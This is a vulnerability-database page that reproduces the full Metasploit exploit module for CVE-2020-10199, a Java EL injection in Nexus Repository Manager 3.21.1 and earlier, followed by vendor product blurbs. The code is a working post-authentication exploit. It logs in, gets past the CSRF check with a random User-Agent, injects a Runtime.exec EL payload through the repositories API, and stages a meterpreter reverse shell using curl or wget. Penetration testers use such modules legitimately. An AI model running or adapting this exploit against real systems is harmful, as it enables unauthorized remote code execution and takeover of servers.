Lucene search
K

Nexus Repository Manager Java EL Injection RCE

🗓️ 15 Apr 2020 20:49:33Reported by Alvaro Muñoz, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 86 Views

Nexus Repository Manager Java EL Injection RCE, allows Java EL injection to execute code as the Nexus user, post-authentication vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nexus Repository Manager Java EL Injection RCE',
        'Description' => %q{
          This module exploits a Java Expression Language (EL) injection in
          Nexus Repository Manager versions up to and including 3.21.1 to
          execute code as the Nexus user.

          This is a post-authentication vulnerability, so credentials are
          required to exploit the bug. Any user regardless of privilege level
          may be used.

          Tested against 3.21.1-01.
        },
        'Author' => [
          'Alvaro Muñoz', # Discovery
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-10199'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
          ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
        ],
        'DisclosureDate' => '2020-03-31', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          ['Nexus Repository Manager <= 3.21.1', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
        },
        'CmdStagerFlavor' => %i[curl wget],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8081),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
      OptString.new('PASSWORD', [true, 'Nexus password'])
    ])
  end

  def post_auth?
    # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
    true
  end

  # Send a GET / request to the server, check the response for a Server header
  # containing the Nexus version, and then check if it's a vulnerable version
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.headers['Server']
      return CheckCode::Unknown('Target did not respond with Server header.')
    end

    # Example Server header:
    # Server: Nexus/3.21.1-01 (OSS)
    version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

    unless version
      return CheckCode::Unknown('Target did not respond with Nexus version.')
    end

    if Rex::Version.new(version) <= Rex::Version.new('3.21.1')
      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
    end

    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end

  def exploit
    print_status("Executing command stager for #{datastore['PAYLOAD']}")

    # This will drop a binary payload to disk and execute it!
    execute_cmdstager(
      noconcat: true,
      cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  def login(username, password)
    print_status("Logging in with #{username}:#{password}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/service/rapture/session'),
      'vars_post' => {
        'username' => Rex::Text.encode_base64(username),
        'password' => Rex::Text.encode_base64(password)
      },
      'partial' => true # XXX: Return partial response despite timeout
    }, 3.5)

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    cookie = res.get_cookies

    unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
      fail_with(Failure::NoAccess, 'Could not log in with specified creds')
    end

    print_good("Logged in with #{cookie}")
    cookie
  end

  # This is defined so that CmdStager can use it!
  def execute_command(cmd, opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,
                             '/service/rest/beta/repositories/go/group'),
      # HACK: Bypass CSRF token with random User-Agent header
      'agent' => rand_text_english(8..42),
      'cookie' => opts[:cookie],
      'ctype' => 'application/json',
      'data' => json_payload(cmd)
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  # PoC based off API docs for /service/rest/beta/repositories/go/group:
  # http://localhost:8081/#admin/system/api
  def json_payload(cmd)
    {
      'name' => 'internal',
      'online' => true,
      'storage' => {
        'blobStoreName' => 'default',
        'strictContentTypeValidation' => true
      },
      'group' => {
        # XXX: memberNames has to be an array, but the API example was a string
        'memberNames' => [el_payload(cmd)]
      }
    }.to_json
  end

  # Helpful resource from which I borrowed the EL payload:
  # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
  def el_payload(cmd)
    # HACK: Format our EL expression nicely and then strip introduced whitespace
    el = <<~EOF.gsub(/\s+/, '')
      ${
        "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
          "".getClass().forName("java.lang.Runtime")
        ).exec("PATCH_ME")
      }
    EOF

    # Patch in our command, escaping any double quotes
    el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation